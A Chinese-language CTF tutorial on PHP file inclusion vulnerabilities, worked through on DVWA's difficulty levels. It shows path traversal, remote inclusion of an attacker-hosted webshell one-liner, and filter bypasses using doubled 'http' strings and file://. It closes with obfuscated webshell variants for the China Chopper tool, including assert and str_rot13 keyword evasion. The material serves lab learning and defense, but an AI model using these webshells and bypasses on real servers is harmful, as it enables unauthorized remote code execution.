首先经过之前的CTF经验,不管线下还是线上,文件上传/包含类漏洞可谓是最常见,最难防的,最好提权的了.并且实际中很多网站对文件的过滤并不彻底.很多以为过滤一下文件名就可以万事大吉了.
最后会吃尽了苦头.这里就先实战一下文件包含. 注意这跟文件上传其实是完全不一样的漏洞.之前在一起说的,可能大家会容易混淆,特此说明.
0x00. 回顾
说起文件包含. 就引入三十六计之—-偷梁换柱 (故事就不讲了..
虽然骗子sm…唔,但是这里我们要学习一下他们的诡计,偷偷把服务器上原本的文件掉包,换成我们的攻击文件.让服务器包含进去,以便我们渗透.
还记得常见的包含函数include.require 吧?这是一种常用的代码处理方法,在某个页面引入其他页面本质是. 参数是引入的文件名. 但是这里我们可以狸猫换太子.
之前我们demo的例子写的比较美好,可以直接进行替换了,那肯定很多同学表示疑问,蜻蜓队长怎么能自己当选手呢? 别人都固定好了包含什么文件,又不给你上传的功能,你怎么上传呢? 而且上传也会同名自动重命名呀.并不会用你的什么hacker.php 吧. 所以这里提几点要求:
- 文件名参数可改
- 过滤不严格
比如include("conn.php") ,这是存在文件包含的文件中的代码. 看看实战DVWA吧,
0x01.实战
A.本地文件执行
可以看到页面中有三只php页面. 访问之后都读取了部分信息
然后当然是尝试随便输入一个hack.php ,发现报错了. 并且爆出了很关键的**绝对路径**
说明存在文件包含漏洞,那么很显然,它是在一个固定的文件夹去引用其它的.php文件,我们如何进一步提权呢?假设已知一个php.ini文件,是在 \dvwa\php.ini 那么url如何构造呢?
这里可以使用 ../ 的常用方法,比如下面所示
可以发现已经成功读取了服务端文件. 我们把 php.ini换成phpinfo.php也是可以执行的.
好,那么大家肯定要说,就读个这种自带的配置文件有什么用呀.怎么才能去执行一些PHP的页面,或者我们自己的webshell呢? 本身服务器端又没有放hacker.php,那么就到下面的重头戏了.
B.远程文件执行
我们假设dvwa的服务现在是跑在另外一个ip. 我们在本地机器(攻击机) 写一个 hacker.png文件,里面内容是
1 | eval($_POST['cmd']) |
然后如果服务器是windows环境,post域执行命令cmd=system("type c:\flag.txt"); 就能得到对方的flag值了.linux下可以用exec() 或者shell_exec().
当然,上面那张写法是非常容易给其他选手留下后门的如果是文件上传的话,所以一般我们的一句话需要进行加密或者复杂化,也为了防对方过滤关键字. 这里大量会涉及到assert(). 来代替eval().参考链接
eval函数中参数是字符,如:
1 eval('echo 1;');assert函数中参数为表达式 (或者为函数),如:
1
2
3 assert(phpinfo());
#混合
assert(eval('echo 1;'));
上面已经成功通过远程执行了hacker.php(png)的内容,这样可谓是非常危险的.那么实际中难度肯定不会这么低.看看medium难度.
1 |
|
首先发现过滤了../ ,..\ 这种本地文件读取.也过滤了http://,https:// 这种远程获取. 那么这种如何绕过呢?
试着思考以前说过的重复字符过滤方法,构造url
1 | 1. 构造url为httphttp:// --> http |
下面看看hard level,上来发现之前的利用都提示file not found . 自然不知道是什么回事,但是可以进行猜测.
发现通配去匹配了file 字段,这可很难了,怎么把普通的请求匹配上file呢?
1 |
|
这里引入一个很重要的本地文件协议绕过,之前的LCTF的web也出现了
file:// 协议,是一个访问本地计算机中文件的文件传输协议.
轻松绕过,这里是本地的文件注意. .
最后看看impossible如何防御? 可以看到还是那个经典最小信任原则, 就是最有效的方法. (白名单)
1 |
|
0x02.反思
高级一句话实例.配合菜刀. (什么是菜刀?就是方便你上传haker.php之后帮你进一步操作命令的.)
1.在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
1 |
|
2.利用经典的str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
1 |
|
菜刀还没有实际使用.需要在拟机中链接为好,避免各种后门.而且杀毒软件也不至于一直报危险脚本….







